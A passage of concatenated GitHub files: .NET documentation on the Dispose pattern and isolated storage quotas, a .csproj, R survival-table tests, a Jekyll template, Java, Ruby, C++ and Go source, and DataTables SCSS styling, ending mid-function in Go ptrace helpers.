is present, doesn't have to run. Freeing the actual memory associated with a managed object is always the domain of the [garbage collector](index.md). Because of this, it has a standard implementation: [!code-csharp[Conceptual.Disposable#7](../../../samples/snippets/csharp/VS_Snippets_CLR/conceptual.disposable/cs/dispose1.cs#7)] [!code-vb[Conceptual.Disposable#7](../../../samples/snippets/visualbasic/VS_Snippets_CLR/conceptual.disposable/vb/dispose1.vb#7)] The `Dispose` method performs all object cleanup, so the garbage collector no longer needs to call the objects' <xref:System.Object.Finalize%2A?displayProperty=nameWithType> override. Therefore, the call to the <xref:System.GC.SuppressFinalize%2A> method prevents the garbage collector from running the finalizer. If the type has no finalizer, the call to <xref:System.GC.SuppressFinalize%2A?displayProperty=nameWithType> has no effect. Note that the actual cleanup is performed by the `Dispose(bool)` method overload. ### The Dispose(bool) method overload In the overload, the `disposing` parameter is a <xref:System.Boolean> that indicates whether the method call comes from a <xref:System.IDisposable.Dispose%2A> method (its value is `true`) or from a finalizer (its value is `false`). The body of the method consists of two blocks of code: - A block that frees unmanaged resources. This block executes regardless of the value of the `disposing` parameter. - A conditional block that frees managed resources. This block executes if the value of `disposing` is `true`. The managed resources that it frees can include: - **Managed objects that implement <xref:System.IDisposable>.** The conditional block can be used to call their <xref:System.IDisposable.Dispose%2A> implementation (cascade dispose). If you have used a derived class of <xref:System.Runtime.InteropServices.SafeHandle?displayProperty=nameWithType> to wrap your unmanaged resource, you should call the <xref:System.Runtime.InteropServices.SafeHandle.Dispose?displayProperty=nameWithType> implementation here. - **Managed objects that consume large amounts of memory or consume scarce resources.** Assign large managed object references to `null` to make them more likely to be unreachable. This releases them faster than if they were reclaimed non-deterministically, and this is usually done outside of the conditional block. If the method call comes from a finalizer, only the code that frees unmanaged resources should execute. The implementer is responsible for ensuring the the false path doesn't interact with managed objects that may have been reclaimed. This is important because the order in which the garbage collector destroys managed objects during finalization is non-deterministic. ## Cascade dispose calls If your class owns a field or property, and its type implements <xref:System.IDisposable>, the containing class itself should also implement <xref:System.IDisposable>. A class that instantiates an <xref:System.IDisposable> implementation and storing it as an instance member, is also responsible for its cleanup. This is to help ensure that the referenced disposable types are given the opportunity to deterministically perform clean up through the <xref:System.IDisposable.Dispose%2A> method. In this example, the class is `sealed` (or `NotInheritable` in Visual Basic). [!code-csharp[Conceptual.Disposable#1](../../../samples/snippets/csharp/VS_Snippets_CLR/conceptual.disposable/cs/disposable1.cs#1)] [!code-vb[Conceptual.Disposable#1](../../../samples/snippets/visualbasic/VS_Snippets_CLR/conceptual.disposable/vb/disposable1.vb#1)] ## Implement the dispose pattern All non-sealed classes or (Visual Basic classes not modified as `NotInheritable`) should be considered a potential base class, because they could be inherited. If you implement the dispose pattern for any potential base class, you must provide the following: - A <xref:System.IDisposable.Dispose%2A> implementation that calls the `Dispose(bool)` method. - A `Dispose(bool)` method that performs the actual cleanup. - Either a class derived from <xref:System.Runtime.InteropServices.SafeHandle> that wraps your unmanaged resource (recommended), or an override to the <xref:System.Object.Finalize%2A?displayProperty=nameWithType> method. The <xref:System.Runtime.InteropServices.SafeHandle> class provides a finalizer, so you do not have to write one yourself. > [!IMPORTANT] > It is possible for a base class to only reference managed objects, and implement the dispose pattern. In these cases, a finalizer is unnecessary. A finalizer is only required if you directly reference unmanaged resources. Here's the general pattern for implementing the dispose pattern for a base class that uses a safe handle. [!code-csharp[System.IDisposable#3](../../../samples/snippets/csharp/VS_Snippets_CLR_System/system.idisposable/cs/base1.cs#3)] [!code-vb[System.IDisposable#3](../../../samples/snippets/visualbasic/VS_Snippets_CLR_System/system.idisposable/vb/base1.vb#3)] > [!NOTE] > The previous example uses a <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> object to illustrate the pattern; any object derived from <xref:System.Runtime.InteropServices.SafeHandle> could be used instead. Note that the example does not properly instantiate its <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> object. Here's the general pattern for implementing the dispose pattern for a base class that overrides <xref:System.Object.Finalize%2A?displayProperty=nameWithType>. [!code-csharp[System.IDisposable#5](../../../samples/snippets/csharp/VS_Snippets_CLR_System/system.idisposable/cs/base2.cs#5)] [!code-vb[System.IDisposable#5](../../../samples/snippets/visualbasic/VS_Snippets_CLR_System/system.idisposable/vb/base2.vb#5)] > [!TIP] > In C#, you create a [finalizer](../../csharp/programming-guide/classes-and-structs/destructors.md) by overriding <xref:System.Object.Finalize%2A?displayProperty=nameWithType>. In Visual Basic, this is done with `Protected Overrides Sub Finalize()`. ## Implement the dispose pattern for a derived class A class derived from a class that implements the <xref:System.IDisposable> interface shouldn't implement <xref:System.IDisposable>, because the base class implementation of <xref:System.IDisposable.Dispose%2A?displayProperty=nameWithType> is inherited by its derived classes. Instead, to cleanup a derived class, you provide the following: - A `protected override void Dispose(bool)` method that overrides the base class method and performs the actual cleanup of the derived class. This method must also call the `base.Dispose(bool)` (`MyBase.Dispose(bool)` in Visual Basic) method of the base class and pass its disposing status for the argument. - Either a class derived from <xref:System.Runtime.InteropServices.SafeHandle> that wraps your unmanaged resource (recommended), or an override to the <xref:System.Object.Finalize%2A?displayProperty=nameWithType> method. The <xref:System.Runtime.InteropServices.SafeHandle> class provides a finalizer that frees you from having to code one. If you do provide a finalizer, it must call the `Dispose(bool)` overload with a `disposing` argument of `false`. Here's the general pattern for implementing the dispose pattern for a derived class that uses a safe handle: [!code-csharp[System.IDisposable#4](../../../samples/snippets/csharp/VS_Snippets_CLR_System/system.idisposable/cs/derived1.cs#4)] [!code-vb[System.IDisposable#4](../../../samples/snippets/visualbasic/VS_Snippets_CLR_System/system.idisposable/vb/derived1.vb#4)] > [!NOTE] > The previous example uses a <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> object to illustrate the pattern; any object derived from <xref:System.Runtime.InteropServices.SafeHandle> could be used instead. Note that the example does not properly instantiate its <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> object. Here's the general pattern for implementing the dispose pattern for a derived class that overrides <xref:System.Object.Finalize%2A?displayProperty=nameWithType>: [!code-csharp[System.IDisposable#6](../../../samples/snippets/csharp/VS_Snippets_CLR_System/system.idisposable/cs/derived2.cs#6)] [!code-vb[System.IDisposable#6](../../../samples/snippets/visualbasic/VS_Snippets_CLR_System/system.idisposable/vb/derived2.vb#6)] ## Implement the dispose pattern with safe handles The following example illustrates the dispose pattern for a base class, `DisposableStreamResource`, that uses a safe handle to encapsulate unmanaged resources. It defines a `DisposableStreamResource` class that uses a <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> to wrap a <xref:System.IO.Stream> object that represents an open file. The class also includes a single property, `Size`, that returns the total number of bytes in the file stream. [!code-csharp[Conceptual.Disposable#9](../../../samples/snippets/csharp/VS_Snippets_CLR/conceptual.disposable/cs/base1.cs#9)] [!code-vb[Conceptual.Disposable#9](../../../samples/snippets/visualbasic/VS_Snippets_CLR/conceptual.disposable/vb/base1.vb#9)] ## Implement the dispose pattern for a derived class with safe handles The following example illustrates the dispose pattern for a derived class, `DisposableStreamResource2`, that inherits from the `DisposableStreamResource` class presented in the previous example. The class adds an additional method, `WriteFileInfo`, and uses a <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> object to wrap the handle of the writable file. [!code-csharp[Conceptual.Disposable#10](../../../samples/snippets/csharp/VS_Snippets_CLR/conceptual.disposable/cs/derived1.cs#10)] [!code-vb[Conceptual.Disposable#10](../../../samples/snippets/visualbasic/VS_Snippets_CLR/conceptual.disposable/vb/derived1.vb#10)] ## See also - <xref:System.GC.SuppressFinalize%2A> - <xref:System.IDisposable> - <xref:System.IDisposable.Dispose%2A?displayProperty=nameWithType> - <xref:Microsoft.Win32.SafeHandles> - <xref:System.Runtime.InteropServices.SafeHandle?displayProperty=nameWithType> - <xref:System.Object.Finalize%2A?displayProperty=nameWithType> - [Define and consume classes and structs (C++/CLI)](/cpp/dotnet/how-to-define-and-consume-classes-and-structs-cpp-cli)
{ "pile_set_name": "Github" }
<Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>netcoreapp2.1</TargetFramework> <AssetTargetFallback>$(AssetTargetFallback);portable-net45+win8+wp8+wpa81;</AssetTargetFallback> <RootNamespace>AngularBPWorkflow</RootNamespace> <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects> <GenerateBindingRedirectsOutputType>true</GenerateBindingRedirectsOutputType> <GenerateRuntimeConfigurationFiles>true</GenerateRuntimeConfigurationFiles> </PropertyGroup> <ItemGroup> <Compile Remove="Migrations\20180726102624_Upgrade_ABP_380.cs" /> <Compile Remove="Migrations\20180927062408_test.cs" /> </ItemGroup> <ItemGroup> <PackageReference Include="Microsoft.EntityFrameworkCore.SqlServer" Version="2.1.4" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Tools" Version="2.1.4"> <PrivateAssets>all</PrivateAssets> <IncludeAssets>runtime; build; native; contentfiles; analyzers</IncludeAssets> </PackageReference> <PackageReference Include="Microsoft.EntityFrameworkCore.Design" Version="2.1.4" /> </ItemGroup> <ItemGroup> <ProjectReference Include="..\AngularBPWorkflow.Core\AngularBPWorkflow.Core.csproj" /> </ItemGroup> <ItemGroup> <DotNetCliToolReference Include="Microsoft.EntityFrameworkCore.Tools.DotNet" Version="2.0.0" /> </ItemGroup> </Project>
{ "pile_set_name": "Github" }
context("test-tbl_survfit") testthat::skip_on_cran() library(survival) test_that("no errors/warnings with stratified variable", { s1 <- survfit(Surv(ttdeath, death) ~ trt, trial) s1.1 <- survfit(Surv(trial$ttdeath, trial$death) ~ trial$trt) expect_error( tbl_survfit( s1, times = c(12, 24) ), NA ) expect_error( tbl_survfit( s1.1, times = c(12, 24) ), NA ) expect_error( tbl_survfit( s1, times = c(12, 24), reverse = TRUE ), NA ) expect_warning( tbl_survfit( s1, times = c(12, 24) ), NA ) expect_error( tbl_survfit( s1, probs = c(0.2, 0.4), estimate_fun = partial(style_sigfig, digits = 4) ), NA ) expect_warning( tbl_survfit( s1, probs = c(0.2, 0.4), estimate_fun = partial(style_sigfig, digits = 4) ), NA ) }) test_that("no errors/warnings with no stratified variable", { s2 <- survfit(Surv(ttdeath, death) ~ 1, trial) s2.1 <- survfit(Surv(trial$ttdeath, trial$death) ~ 1) expect_error( tbl_survfit( s2, times = c(12, 24) ), NA ) expect_error( tbl_survfit( s2.1, times = c(12, 24) ), NA ) expect_warning( tbl_survfit( s2, times = c(12, 24) ), NA ) expect_error( tbl_survfit( s2, probs = c(0.2, 0.4), estimate_fun = partial(style_sigfig, digits = 4) ), NA ) expect_warning( tbl_survfit( s2, probs = c(0.2, 0.4), estimate_fun = partial(style_sigfig, digits = 4) ), NA ) # expecting errors/messaging expect_message( tbl_survfit( s2, probs = c(0.2, 0.4), reverse = TRUE, estimate_fun = partial(style_sigfig, digits = 4) ), "*" ) expect_error( tbl_survfit( s2, probs = c(0.2, 0.4), statistic = style_percent, estimate_fun = partial(style_sigfig, digits = 4) ), "*" ) expect_error( tbl_survfit( s2, probs = c(0.2, 0.4), times = c(12, 24), estimate_fun = partial(style_sigfig, digits = 4) ), "*" ) expect_error( tbl_survfit(trial, y = Surv(ttdeath, death), include = c(grade, trt), times = 10), NA ) expect_message( tbl_survfit(survfit(Surv(ttdeath, death) ~ grade + trt, trial), times = 10), "*" ) }) # Competing Events Example -------- test_that("no errors/warnings with competing events", { # adding a competing event for death (cancer vs other causes) trial2 <- trial %>% dplyr::mutate( death_cr = dplyr::case_when( death == 0 ~ "censor", runif(nrow(.)) < 0.5 ~ "death from cancer", TRUE ~ "death other causes" ) %>% factor() ) cr_1 <- survfit(Surv(ttdeath, death_cr) ~ 1, data = trial2) cr_2 <- survfit(Surv(ttdeath, death_cr) ~ grade, data = trial2) expect_error( tbl_survfit(cr_1, times = c(12, 24)), NA ) expect_error( summod2 <- tbl_survfit(cr_2, times = c(12, 24), label = "Tumor Grade"), NA ) # output is identical in tbl_survfit and summary summod <- summary(cr_2, times = c(12,24)) summod1b <- data.frame(strata = summod$strata,Time = summod$time, cancerdeath = summod$pstate[,2]) expect_equal(summod1b$cancerdeath, summod2$meta_data$df_stats[[1]]$estimate) })
{ "pile_set_name": "Github" }
--- title: 'Cómo: Prever condiciones de espacio insuficiente con almacenamiento aislado' ms.date: 03/30/2017 ms.technology: dotnet-standard dev_langs: - csharp - vb - cpp helpviewer_keywords: - data stores, quotas - isolated storage, quotas - quantity of isolated storage used - limit on isolated storage used - stores, quotas - stores, out of space conditions - data storage using isolated storage, quotas - storing data using isolated storage, quotas - space remaining in isolated storage - data stores, out of space conditions - storing data using isolated storage, out of space conditions - quotas for isolated storage - isolated storage, out of space conditions - data storage using isolated storage, out of space conditions ms.assetid: e35d4535-3732-421e-b1a3-37412e036145 ms.openlocfilehash: bdc2cee343e9d9be44230e84ff45d6fa54901f48 ms.sourcegitcommit: 33deec3e814238fb18a49b2a7e89278e27888291 ms.translationtype: HT ms.contentlocale: es-ES ms.lasthandoff: 06/02/2020 ms.locfileid: "84288594" --- # <a name="how-to-anticipate-out-of-space-conditions-with-isolated-storage"></a>Cómo: Prever condiciones de espacio insuficiente con almacenamiento aislado El código que usa el almacenamiento aislado está restringido por una [cuota](isolated-storage.md#quotas) que especifica el tamaño máximo para el compartimiento de datos en que se encuentran los directorios y los archivos del almacenamiento aislado. La cuota se define mediante la directiva de seguridad y la pueden configurar los administradores. Si se supera el tamaño máximo permitido al intentar escribir datos, se genera la excepción <xref:System.IO.IsolatedStorage.IsolatedStorageException> y se produce un error en la operación. Esto ayuda a evitar los ataques de denegación de servicio malintencionados que pudieron provocar que la aplicación rechazara solicitudes porque se llenara el almacén de datos. Para ayudarlo a determinar si un intento de escritura determinado puede presentar errores por este motivo, la clase <xref:System.IO.IsolatedStorage.IsolatedStorage> proporciona tres propiedades de solo lectura: <xref:System.IO.IsolatedStorage.IsolatedStorage.AvailableFreeSpace%2A>, <xref:System.IO.IsolatedStorage.IsolatedStorage.UsedSize%2A> y <xref:System.IO.IsolatedStorage.IsolatedStorage.Quota%2A>. Puede utilizar estas propiedades para determinar si escribir en el almacén hará que se supere el tamaño máximo permitido del almacén. Tenga en cuenta que se puede acceder al almacenamiento aislado de forma simultánea; por tanto, al calcular la cantidad de almacenamiento restante, el tiempo durante el cual se intenta escribir en el almacén podría consumir el espacio de almacenamiento. Sin embargo, puede usar el tamaño máximo del almacén para ayudar a determinar si el límite superior del almacenamiento disponible está a punto de alcanzarse. La propiedad <xref:System.IO.IsolatedStorage.IsolatedStorage.Quota%2A> depende de la evidencia del ensamblado para que funcione correctamente. Por este motivo, debe recuperar esta propiedad solo en objetos <xref:System.IO.IsolatedStorage.IsolatedStorageFile> que se crearon con los métodos <xref:System.IO.IsolatedStorage.IsolatedStorageFile.GetUserStoreForAssembly%2A>, <xref:System.IO.IsolatedStorage.IsolatedStorageFile.GetUserStoreForDomain%2A> o <xref:System.IO.IsolatedStorage.IsolatedStorageFile.GetStore%2A>. Los objetos <xref:System.IO.IsolatedStorage.IsolatedStorageFile> creados de otra forma (por ejemplo, los objetos devueltos por el método <xref:System.IO.IsolatedStorage.IsolatedStorageFile.GetEnumerator%2A>) no devolverán un tamaño máximo preciso. ## <a name="example"></a>Ejemplo En el ejemplo de código siguiente se obtiene un almacén aislado, se crean algunos archivos y se recupera la propiedad <xref:System.IO.IsolatedStorage.IsolatedStorage.AvailableFreeSpace%2A>. El espacio restante se notifica en bytes. [!code-cpp[Conceptual.IsolatedStorage#8](../../../samples/snippets/cpp/VS_Snippets_CLR/conceptual.isolatedstorage/cpp/source7.cpp#8)] [!code-csharp[Conceptual.IsolatedStorage#8](../../../samples/snippets/csharp/VS_Snippets_CLR/conceptual.isolatedstorage/cs/source7.cs#8)] [!code-vb[Conceptual.IsolatedStorage#8](../../../samples/snippets/visualbasic/VS_Snippets_CLR/conceptual.isolatedstorage/vb/source7.vb#8)] ## <a name="see-also"></a>Vea también - <xref:System.IO.IsolatedStorage.IsolatedStorageFile> - [Almacenamiento aislado](isolated-storage.md) - [Cómo: Obtener los almacenes de almacenamiento aislado](how-to-obtain-stores-for-isolated-storage.md)
{ "pile_set_name": "Github" }
<div class="post"> <header class="post-header"> <div style="display: flex; align-content: center; align-items: center; justify-content: center"> {% for author_idx in page.author %} <div style="padding: 16px; display: inline-block; text-align: center"> {% assign author = site.data.authors[author_idx] %} {% if author.fbid %} <div class="authorPhoto"> <img src="http://graph.facebook.com/{{ author.fbid }}/picture/" alt="{{ author.fullname }}" title="{{ author.fullname }}" /> </div> {% endif %} {% if author.full_name %} <p class="post-authorName">{{ author.full_name }}</p> {% endif %} </div> {% endfor %} </div> <h1 class="post-title">{% if include.truncate %}<a href="{{ page.url | absolute_url }}">{{ page.title }}</a>{% else %}{{ page.title }}{% endif %}</h1> <p class="post-meta">Posted {{ page.date | date: '%B %d, %Y' }}{% if page.meta %} • {{ page.meta }}{% endif %}</p> </header> <article class="post-content"> {% if include.truncate %} {% if page.content contains '<!--truncate-->' %} {{ page.content | split:'<!--truncate-->' | first | markdownify }} <div class="read-more"> <a href="{{ page.url | absolute_url }}" > Read More </a> </div> {% else %} {{ page.content | markdownify }} {% endif %} {% else %} {{ content }} {% endif %} {% unless include.truncate %} {% include plugins/like_button.html %} {% endunless %} </article> </div>
{ "pile_set_name": "Github" }
/* * * * Copyright 2020 http://www.hswebframework.org * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * */ package org.hswebframework.web.service; /** * 实体创建服务接口,通过此接口创建实体.在创建实体类时,建议使用此接口进行创建,而不是使用new * 如: * <code> * YourBean bean = service.createEntity(); * </code> * * @author zhouhao * @since 3.0 */ public interface CreateEntityService<E> extends Service { /** * 创建实体 * * @return 实体 */ E createEntity(); Class<E> getEntityInstanceType(); }
{ "pile_set_name": "Github" }
module Bosh::Director::Models class OrphanDisk < Sequel::Model(Bosh::Director::Config.db) one_to_many :orphan_snapshots def validate validates_presence [:disk_cid, :deployment_name, :instance_name] validates_unique [:disk_cid] end def before_create self.created_at ||= Time.now end def cloud_properties result = self.cloud_properties_json result ? JSON.parse(result) : {} end def cloud_properties=(cloud_properties) self.cloud_properties_json = JSON.generate(cloud_properties) end end end
{ "pile_set_name": "Github" }
# we reject collisions between commands and types { 'command': 'int', 'data': { 'character': 'str' } }
{ "pile_set_name": "Github" }
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/apigateway/model/UpdateUsagePlanRequest.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::APIGateway::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; UpdateUsagePlanRequest::UpdateUsagePlanRequest() : m_usagePlanIdHasBeenSet(false), m_patchOperationsHasBeenSet(false) { } Aws::String UpdateUsagePlanRequest::SerializePayload() const { JsonValue payload; if(m_patchOperationsHasBeenSet) { Array<JsonValue> patchOperationsJsonList(m_patchOperations.size()); for(unsigned patchOperationsIndex = 0; patchOperationsIndex < patchOperationsJsonList.GetLength(); ++patchOperationsIndex) { patchOperationsJsonList[patchOperationsIndex].AsObject(m_patchOperations[patchOperationsIndex].Jsonize()); } payload.WithArray("patchOperations", std::move(patchOperationsJsonList)); } return payload.View().WriteReadable(); }
{ "pile_set_name": "Github" }
// // Colour customisation // // Border between the header (and footer) and the table body $table-header-border: 1px solid #111; // Border of rows / cells $table-body-border: 1px solid #ddd; // Row background colour (hover, striping etc are all based on this colour and // calculated automatically) $table-row-background: #ffffff; // Row colour, when selected (tr.selected) $table-row-selected: #B0BED9; // Text colour of the interaction control elements (info, filter, paging etc) $table-control-color: #333; // Highlight colour of the paging button for the current page $table-paging-button-active: #dcdcdc; // Hover colour of paging buttons on mouse over $table-paging-button-hover: #111; // // Functions / mixins // @function tint( $color, $percent ) { @return mix(white, $color, $percent); } @function shade( $color, $percent ) { @return mix(black, $color, $percent); } @mixin gradient( $from, $to ) { background-color: $from; background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,$from), color-stop(100%,$to)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, $from 0%, $to 100%); /* Chrome10+,Safari5.1+ */ background: -moz-linear-gradient(top, $from 0%, $to 100%); /* FF3.6+ */ background: -ms-linear-gradient(top, $from 0%, $to 100%); /* IE10+ */ background: -o-linear-gradient(top, $from 0%, $to 100%); /* Opera 11.10+ */ background: linear-gradient(to bottom, $from 0%, $to 100%); /* W3C */ } /* * Table styles */ table.dataTable { width: 100%; margin: 0 auto; clear: both; border-collapse: separate; border-spacing: 0; /* * Header and footer styles */ thead, tfoot { th, td { padding: 4px 10px; } th { font-weight: bold; } } thead th, thead td { &:active { outline: none; } } // Sorting thead { .sorting_asc, .sorting_desc, .sorting { cursor: pointer; *cursor: hand; } th div.DataTables_sort_wrapper { position: relative; padding-right: 10px; span { position: absolute; top: 50%; margin-top: -8px; right: -5px; } } th.ui-state-default { border-right-width: 0; &:last-child { border-right-width: 1px; } } } /* * Body styles */ tbody { tr { background-color: $table-row-background; &.selected { background-color: $table-row-selected; } } th, td { padding: 8px 10px; } } th.center, td.center, td.dataTables_empty { text-align: center; } th.right, td.right { text-align: right; } // Stripe classes - add "row-border" class to the table to activate &.row-border tbody, &.display tbody { th, td { border-top: $table-body-border; } tr:first-child th, tr:first-child td { border-top: none; } } // Stripe classes - add "cell-border" class to the table to activate &.cell-border tbody { th, td { border-top: $table-body-border; border-right: $table-body-border; } tr th:first-child, tr td:first-child { border-left: $table-body-border; } tr:first-child th, tr:first-child td { border-top: none; } } // Stripe classes - add "stripe" class to the table to activate &.stripe tbody, &.display tbody { tr.odd { background-color: shade($table-row-background, 2.35%); // shade by f9 &.selected { background-color: shade($table-row-selected, 2.35%); } } } // Hover classes - add "hover" class to the table to activate &.hover tbody, &.display tbody { tr:hover, tr.odd:hover, tr.even:hover { background-color: shade($table-row-background, 3.6%); // shade by f5 &.selected { background-color: shade($table-row-selected, 3.6%); } } } // Sort column highlighting - add "hover" class to the table to activate &.order-column, &.display { tbody { tr>.sorting_1, tr>.sorting_2, tr>.sorting_3 { background-color: shade($table-row-background, 2%); // shade by fa } tr.selected>.sorting_1, tr.selected>.sorting_2, tr.selected>.sorting_3 { background-color: shade($table-row-selected, 2%); } } } &.display tbody, &.order-column.stripe tbody { tr.odd { >.sorting_1 { background-color: shade($table-row-background, 5.4%); } // shade by f1 >.sorting_2 { background-color: shade($table-row-background, 4.7%); } // shade by f3 >.sorting_3 { background-color: shade($table-row-background, 3.9%); } // shade by f5 &.selected { >.sorting_1 { background-color: shade($table-row-selected, 5.4%); } >.sorting_2 { background-color: shade($table-row-selected, 4.7%); } >.sorting_3 { background-color: shade($table-row-selected, 3.9%); } } } tr.even { >.sorting_1 { background-color: shade($table-row-background, 2%); } // shade by fa >.sorting_2 { background-color: shade($table-row-background, 1.2%); } // shade by fc >.sorting_3 { background-color: shade($table-row-background, 0.4%); } // shade by fe &.selected { >.sorting_1 { background-color: shade($table-row-selected, 2%); } >.sorting_2 { background-color: shade($table-row-selected, 1.2%); } >.sorting_3 { background-color: shade($table-row-selected, 0.4%); } } } } &.display tbody, &.order-column.hover tbody { tr:hover, tr.odd:hover, tr.even:hover { >.sorting_1 { background-color: shade($table-row-background, 8.2%); } // shade by ea >.sorting_2 { background-color: shade($table-row-background, 7.5%); } // shade by ec >.sorting_3 { background-color: shade($table-row-background, 6.3%); } // shade by ef &.selected { >.sorting_1 { background-color: shade($table-row-selected, 8.2%); } >.sorting_2 { background-color: shade($table-row-selected, 7.5%); } >.sorting_3 { background-color: shade($table-row-selected, 6.3%); } } } } } // Its not uncommon to use * {border-box} now, but it messes up the column width // calculations, so use content-box for the table and cells table.dataTable, table.dataTable th, table.dataTable td { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } /* * Control feature layout */ .dataTables_wrapper { position: relative; clear: both; *zoom: 1; // Page length options .dataTables_length { float: left; } // Filtering input .dataTables_filter { float: right; text-align: right; input { margin-left: 0.5em; } } // Table info .dataTables_info { clear: both; float: left; padding-top: 0.55em; } // Paging .dataTables_paginate { float: right; text-align: right; .fg-button { box-sizing: border-box; display: inline-block; min-width: 1.5em; padding: 0.5em; margin-left: 2px; text-align: center; text-decoration: none !important; cursor: pointer; *cursor: hand; color: $table-control-color !important; border: 1px solid transparent; &:active { outline: none; } } .fg-button:first-child { border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .fg-button:last-child { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } } // Processing .dataTables_processing { position: absolute; top: 50%; left: 50%; width: 100%; height: 40px; margin-left: -50%; margin-top: -25px; padding-top: 20px; text-align: center; font-size: 1.2em; background-color: white; background: -webkit-gradient(linear, left top, right top, color-stop(0%,rgba($table-row-background, 0)), color-stop(25%,rgba($table-row-background, 0.9)), color-stop(75%,rgba($table-row-background, 0.9)), color-stop(100%,rgba(255,255,255,0))); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(left, rgba($table-row-background, 0) 0%, rgba($table-row-background, 0.9) 25%, rgba($table-row-background, 0.9) 75%, rgba($table-row-background, 0) 100%); /* Chrome10+,Safari5.1+ */ background: -moz-linear-gradient(left, rgba($table-row-background, 0) 0%, rgba($table-row-background, 0.9) 25%, rgba($table-row-background, 0.9) 75%, rgba($table-row-background, 0) 100%); /* FF3.6+ */ background: -ms-linear-gradient(left, rgba($table-row-background, 0) 0%, rgba($table-row-background, 0.9) 25%, rgba($table-row-background, 0.9) 75%, rgba($table-row-background, 0) 100%); /* IE10+ */ background: -o-linear-gradient(left, rgba($table-row-background, 0) 0%, rgba($table-row-background, 0.9) 25%, rgba($table-row-background, 0.9) 75%, rgba($table-row-background, 0) 100%); /* Opera 11.10+ */ background: linear-gradient(to right, rgba($table-row-background, 0) 0%, rgba($table-row-background, 0.9) 25%, rgba($table-row-background, 0.9) 75%, rgba($table-row-background, 0) 100%); /* W3C */ } .dataTables_length, .dataTables_filter, .dataTables_info, .dataTables_processing, .dataTables_paginate { color: $table-control-color; } // Scrolling .dataTables_scroll { clear: both; } .dataTables_scrollBody { *margin-top: -1px; -webkit-overflow-scrolling: touch; } .ui-widget-header { font-weight: normal; } .ui-toolbar { padding: 8px; } // Self clear the wrapper &:after { visibility: hidden; display: block; content: ""; clear: both; height: 0; } zoom: 1; // Poor old IE } // Collapse the two column display of the control elements when the screen is // small @media screen and (max-width: 767px) { .dataTables_wrapper { .dataTables_length, .dataTables_filter, .dataTables_info, .dataTables_paginate { float: none; text-align: center; } .dataTables_filter, .dataTables_paginate { margin-top: 0.5em; } } } /* * TableTools styling for jQuery UI */ div.DTTT_container { position: relative; float: left; } .DTTT_button { position: relative; float: left; margin-right: 3px; padding: 3px 10px; border: 1px solid #d0d0d0; background-color: #fff; color: #333; cursor: pointer; } .DTTT_button::-moz-focus-inner { border: none !important; padding: 0; } .DTTT_disabled { color: #999; } table.DTTT_selectable tbody tr { cursor: pointer; } div.DTTT_collection { width: 150px; background-color: #f3f3f3; overflow: hidden; z-index: 2002; box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.5); -moz-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.5); -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.5); button.DTTT_button, div.DTTT_button, a.DTTT_button { float: none; width: 100%; margin-bottom: -0.1em; } } div.DTTT_collection_background { background: black; z-index: 2001; } .DTTT_print_info { position: absolute; top: 50%; left: 50%; width: 400px; height: 150px; margin-left: -200px; margin-top: -75px; text-align: center; background-color: #3f3f3f; color: white; padding: 10px 30px; opacity: 0.9; border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.5); -moz-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.5); -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.5); .DTTT_print_info { h6 { font-weight: normal; font-size: 28px; line-height: 28px; margin: 1em; } p { font-size: 14px; line-height: 20px; } } }
{ "pile_set_name": "Github" }
// Code generated by linux/mkall.go generatePtracePair(386, amd64). DO NOT EDIT. // +build linux // +build 386 amd64 package unix import "unsafe" // PtraceRegs386 is the registers used by 386 binaries. type PtraceRegs386 struct { Ebx int32 Ecx int32 Edx int32 Esi int32 Edi int32 Ebp int32 Eax int32 Xds int32 Xes int32 Xfs int32 Xgs int32 Orig_eax int32 Eip int32 Xcs int32 Eflags int32 Esp int32 Xss int32 } // PtraceGetRegs386 fetches the registers used by 386 binaries. func PtraceGetRegs386(pid int, regsout *PtraceRegs386) error { return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout))) } // PtraceSetRegs386 sets the registers used by 386 binaries. func PtraceSetRegs386(pid int, regs *PtraceRegs386) error { return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs))) } // PtraceRegsAmd64 is the registers used by amd64 binaries. type PtraceRegsAmd64 struct { R15 uint64 R14 uint64 R13 uint64 R12 uint64 Rbp uint64 Rbx uint64 R11 uint64 R10 uint64 R9 uint64 R8 uint64 Rax uint64 Rcx uint64 Rdx uint64 Rsi uint64 Rdi uint64 Orig_rax uint64 Rip uint64 Cs uint64 Eflags uint64 Rsp uint64 Ss uint64 Fs_base uint64 Gs_base uint64 Ds uint64 Es uint64 Fs uint64 Gs uint64 } // PtraceGetRegsAmd64 fetches the registers used by amd64 binaries. func PtraceGetRegsAmd64(pid int, regsout *PtraceRegsAmd64) error { return ptrace(PTRACE_GETREGS, 